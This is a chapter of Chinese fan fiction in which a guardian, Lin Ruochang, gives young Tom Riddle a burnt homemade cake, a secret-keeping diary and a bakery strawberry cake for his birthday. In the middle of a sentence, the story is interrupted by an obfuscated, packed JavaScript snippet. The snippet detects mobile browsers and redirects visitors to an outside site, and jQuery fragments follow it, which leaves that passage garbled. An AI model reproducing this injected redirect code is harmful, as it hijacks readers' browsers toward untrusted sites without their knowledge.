对于孩子而言，每年最值得期待的恐怕就是自己的生日了，那意味着他们离成人更近一步。
但黑魔王幼崽毕竟和普通小孩不同，林若常时常思考小汤姆是否真正期待成年之前的生日。
汤姆·里德尔对生日的态度，确实与寻常孩童不同。没有喋喋不休的期待，没有对礼物的热切打听，甚至在他生日当天清晨，他表现得比平时更加沉默，仿佛这只是日历上又一个被偶然圈出的、无关紧要的日子。
林若常观察了他一早上，最后在午饭前，伸出只手在汤姆眼前打了个响指，成功吸引了正埋头看书的汤姆的注意。
“咳咳，”她清了清嗓子，脸上没什么表情，但眼神里带着点故作严肃的调侃，“据悉，今日某位小先生又成功在地球上多绕行了太阳一圈，距离他正式成年又近了一步。对此，您有何感想，里德尔先生？”
汤姆从书页上抬起头，眸子里闪过一丝诧异，随即迅速被一层淡漠掩饰。
“没什么感想。”他干巴巴地回答，试图重新将注意力拉回书本上，但微微泛红的耳尖出卖了他的一丝不自在。
“哦——？”林若常拖长了调子，意味深长地盯着汤姆泛红的耳朵，内心有点想笑。
果然，现在的黑魔王到底也是个孩子。而孩子们对世界对未来总带着比大人更多的赤诚和期待。
林若常喝了一口茶慢悠悠地说道：“真是遗憾。我还以为你会对‘时间’这种单向流逝、无法回溯、且对所有人都算得上公平的东西，多少有点研究兴趣呢。”
她放下茶杯，站起身：“看来是我多事了。本来还准备了某个‘又老一岁’的仪式性流程，既然当事人毫无兴趣……”
林若常作势就要离开。
汤姆的视线终于彻底离开了书本，抿了抿唇，最终还是没能抵抗住那该死的好奇心，以及或许一丝极微弱的、连他自己都不愿承认的期待。
他声音有些急切地叫住林若常：“……什么流程？”
林若常背对着他，嘴角极快地弯了一下，然后转过身，依旧是那副慵懒淡然的模样：“跟我来。”
她没有带汤姆去什么特别的地方，只是来到了厨房。餐桌上，没有华丽的蛋糕，没有堆成山的礼物。只有一个朴素的、甚至有点烤过头了的、小小的圆形蜂蜜蛋糕，上面歪歪扭扭地插着一根孤零零的蜡烛。旁边放着一个用牛皮纸简单包裹的小盒子。
“体谅一下老年人吧。”林若常指了指那蛋糕，“我尝试复刻了一下‘经典口味’，结果火候没掌握好，有点焦。不过放心，我不会对你下毒的。”
她拿出魔杖，轻轻一点，那根蜡烛顶端噗地一声，绽出一小簇温暖而稳定的火苗。
“好了，惯例流程。”她看向汤姆，语气随意得像在讨论天气，“闭眼，许个愿——虽然根据我的经验，这玩意儿实现概率大概和人类再也不会发动战争还小，但仪式感总要走一下。许个你喜欢的愿望，然后吹灭它。”
汤姆看着那簇小小的火苗，又看看林若常那张没什么表情却莫名让人觉得认真的脸，犹豫了一下，还是依言闭上了眼睛。
他许了什么愿？无人知晓。或许与力量有关，或许与永恒有关，或许……只是一个孩子瞬间的、自己都未曾察觉的迷茫。
他睁开眼，吹灭了蜡烛。一缕细细的烟雾升起，带着愿望飞向不知名的地方。
“祝贺你，汤姆·里德尔。”
林若常拍了两下手，掌声在安静的厨房里显得有点突兀和滑稽，“又老一岁。离烦恼更多、责任更重的成年世界又近了一步。开心吗？”
汤姆实在无法违心地说出“开心”这个词，他对于林若常略显诡异的说法感到有点好笑。
林若常却像是完成了什么重大任务，轻松地切下一小块卖相不怎么样的小蛋糕放进盘子，推到汤姆面前，然后把那个小纸盒也推过去。
“礼物。不是什么稀罕东西，但我觉得你应该用得上。”
汤姆拆开包装。里面是一本看起来极其古老的、皮革封面的笔记本，纸质厚实，散发着旧书和魔药材料混合的气味。但奇怪的是，本子里一页字都没有，是空白的。
“这是……一个日记本？”
“可以是，但本质上一个实验失败品。”
“我试图给你做个能自动整理笔记并且永远用不完的本子，结果失败了。它现在只有一个功能——绝对保密。”
林若常叉了一小块蛋糕塞进嘴里，被齁得微微皱眉，勉强咽了下去。
“写上去的东西，只有你本人，或者得到你‘灵魂层面’授权的人才能看到。当然需要你给对方加一点小魔法印记。这个本子可以用来写点不想让别人知道的小秘密……嗯，应该包括‘伟大计划’初稿，或者骂骂你的刻板监护人，应该还算顺手。”
汤姆抚摸着笔记本光滑的封面，感受着上面微弱的魔法波动。这份礼物……实用，且微妙地戳中了他内心某个隐秘的角落。
“谢谢。”他低声说，这次带上了几分真心。
“不客气。”林若常摆摆手，又吃了一口蛋糕。然后她看着汤姆也小口吃了一块，然后被齁得脸皱成一团。
林若常没绷住，笑着评价道，“嗯，看来糖确实放多了，下次得减量。”
她说完沉默了片刻，而后忽然开口，语气不再调侃，变得平和而深远。
“又长一岁，感觉怎么样？是不是觉得时间过得既慢又快，世界既大又小，自己既懂得很多又好像什么都不懂？”
汤姆咀嚼的动作慢了下来，点了点头。这确实概括了他某些时刻的感受。
“正常。”林若常给自己倒了杯清水，冲淡嘴里的甜腻感，“我活了这么久，有时候也会有这种感觉。见识过星辰大海的辽阔，反而变得更容易为雨后树叶的青翠和生命的诞生而动容。”
她拿起桌上插过蜡烛的那根小棍，在指尖转动着。
“时间这东西啊，它推着你往前走，不管你愿不愿意。它会给你带来力量，也会带走你珍惜的东西。它会让你看清很多事，也会让你忘记很多事。”
“但生日嘛，”她笑了笑，那笑容里带着一种经历过太多之后的通透和一点点温柔的嘲弄。
“与其说是庆祝‘得到’，不如说是纪念‘经过’。纪念你又平安度过了一年，纪念你又多见识了一点这个世界的荒谬和美丽，纪念那些好的、坏的、让你哭让你笑让你变成现在这个样子的所有事情。”
她看向汤姆，目光平静而深邃。
“所以，祝贺你又老一岁，汤姆。不是祝贺你离所谓的‘强大’或‘成功’更近，而是祝贺你……又收集了三百六十五天的‘经历’，无论那是珍宝还是垃圾，它们都是独属于你的东西。”
“愿你以后就算见识了再多的辽阔，”她的声音很轻，像一句叹息，“也偶尔能低下头，看见并怜惜脚下草木的青翠。毕竟……”
她顿了顿，然后用一种近乎俏皮的语气结束了这段话：
“……整天仰着头看星星，脖子会酸的。而且容易踩到狗屎。这是长寿者的宝贵经验，免费送你。”
汤姆看着手里那半块甜得发腻的焦蛋糕，又看看对面那个说着奇怪话的监护人，心里那种别扭和疏离感，忽然就被一种温暖而复杂的情绪取代了。
这个生日，没有盛大的派对，没有昂贵的礼物。只有一个烤焦的蛋糕，一本空白的保密日记本，和一番……他可能需要用很久才能完全理解的、来自一个长生者的、既宏大又细微的祝福。
但他忽然觉得，这或许是他有生以来，过得最……特别的一个生日。
“蛋糕，”他客观地评价道，“确实太甜了。”
“嗯，”林若常深表同意，“下次改进。长寿面吃吗？虽然可能变成一锅面糊。”
汤姆：“……还是算了。”。
“哈，逗你玩的，那个蛋糕肯定难吃。所以我还买了一个蛋糕店做的，果然，专业的事就该给专业的人做，生日快乐，汤姆。”
林若常说着，像是变戏法一样，从橱柜里端出一个看起来正常多了的、铺着洁白奶油和新鲜草莓的圆形蛋糕。大小适中，造型简洁，散发着甜腻的香气，与桌上那个焦黑的小可怜形成了惨烈对比。
汤姆看着这两个天差地别的蛋糕，一时语塞。所以他刚才吃的那个……果然是试验品？或者说是……仪式的一部分？
林若常麻利地将那个实在吃不完的失败品扫进垃圾桶，动作干脆利落，仿佛它从未存在过。然后她切下一大块草莓蛋糕，放在精致的碟子里，再次推到汤姆面前。
“尝尝这个，应该符合正常人类的味蕾标准。”她自己也切了一小块，倚在料理台边吃了起来，满意地点点头，“嗯，糖分和奶油的平衡恰到好处，草莓还是和现代蛋糕上装饰的一样难吃。真是工业化的胜利。”
汤姆看着眼前这块蓬松、洁白、点缀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466747|185482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着鲜红草莓的蛋糕，又看看对面吃得一脸“这才叫食物”的林若常，忽然觉得有点好笑又无奈，林若常看起来很严肃，但总是意外的没坦率。除此之外小汤姆又有点……难以言喻的温暖。
林若常：魔丸比格也有被爱打动的一天吗？
汤姆拿起小勺，舀了一口送进嘴里。绵软的蛋糕胚，轻盈的奶油，所有味道都融合得恰到好处，剩下草莓的酸涩在嘴里炸开，像生日的礼花。
确实比刚才那个好吃了不知道多少倍。
“所以，”汤姆咽下蛋糕，忍不住问道，“刚才那个……是故意的？”
“嗯？”林若常当即选择装傻，她本来以为那个蛋糕没那么难吃就想着端上来给小汤姆尝尝味儿。
“哪个？哦，你说那个啊……算是吧。总得让你体验一下‘生活的参差’？或者让你更深刻地理解术业有专攻的重要性？”
她晃了晃勺子，“顺便提醒你，以后如果想吃好吃的，最好别指望我动手。我的技能点，可能更多地加在了……嗯，别的方面。还有我学技能也是需要时间的，就像你不能指望一个数学废柴可以一天速通高中数学。”
林若常说着，面上表情没有一点变化，只是眼神心虚地移开。她的目光忽然瞥向那本空白的笔记本，意有所指。
“看看我给你的小礼物好不好使，出了什么问题可以找我返工维修，或者说你想自己动手做点小改装？”
汤姆低下头，继续吃着美味的蛋糕，心里那点因为失败蛋糕而产生的微妙尴尬消散了，取而代之的是一种更轻松的感觉。
这里越来越像自己真正的家了，小汤姆想。
两人安静地分享完了那个草莓蛋糕。阳光透过厨房窗户，正好照在餐桌一角，暖洋洋的。
“好了，”林若常收拾好餐具，拍了拍手，“生日流程走完了。新的一岁，继续努力吧，小汤姆同学。希望明年的今天，你还能保持对这个世界的好奇心，以及……”
林若常说完露出一个有点狡黠的笑容。“今天剩下的时间交给你，没有作业和任何功课，我想这是个记录自己邪恶拆家计划的好时机。”
汤姆拿起那本皮革封面的笔记本，指尖感受着上面细腻的纹理和微弱的魔法波动。
“我会用的。”他说，语气里带着点对林若常玩笑的无奈。
“很好。”林若常点点头，“现在，你可以选择继续回味你的生日蛋糕，或者……”
她指了指楼上书房的方向，“我们来讨论一下，如何给你的新笔记那个‘灵魂层面’的保密魔法进行维护？毕竟，‘绝对保密’听起来很酷很持久，但操作起来还是有点小门槛的。”
汤姆几乎没有犹豫。
“现在就去。”他站起身，碧眸里闪烁着对知识（和力量）的惯常渴望。
生日蛋糕很好吃，祝福也很特别。但对他来说，或许这种实实在在的、能掌握在手中的魔法奥秘，才是更符合他心意的“礼物”。
林若常看着他那副瞬间进入学习状态的样子，忍不住又笑了笑。
“真是和预料之中一样……一点都不可爱。”她小声嘀咕了一句，但眼里并没有丝毫责备，反而带着点“果然如此”的了然。
她转身走向书房，汤姆拿着他的新笔记本，紧跟在后。
阳光依旧温暖地洒在厨房里，照亮了空掉的蛋糕盘，和垃圾桶里那个失败的、却承载了某种独特仪式感的焦黑小蛋糕。
这个生日，依旧没有狂欢，没有喧闹。但它有甜腻的失败品，有美味的成功品，有实用的礼物，有来自长生者的古怪祝福，还有……紧接着的魔法课程。
对汤姆·里德尔而言，这或许就是最“完美”的生日了。
“林，以后生日你还会亲手给我做蛋糕吗？”汤姆小心问道，本意是吐槽，今天的蛋糕实在是太难吃了。
“怎么，难不成你很喜欢？”林若常假装没听懂汤姆的言外之意，继续装傻充愣，毕竟你不能为难一个性格耿直的老年人。
“没问题宝贝～以后生日我都给你做小蛋糕～”（中文水牛音）
汤姆：问号。
“哈哈，如果你希望的话。当然我会精进我的技术的。”林若常结束了抽象怪人格夺舍后的即兴表演说道，连面相都变得和蔼了，最后慈爱的对家养幼年比格摸摸头。
“我才不要！”
好很有精神，林若常如实评价，我们傲娇明明没退环境。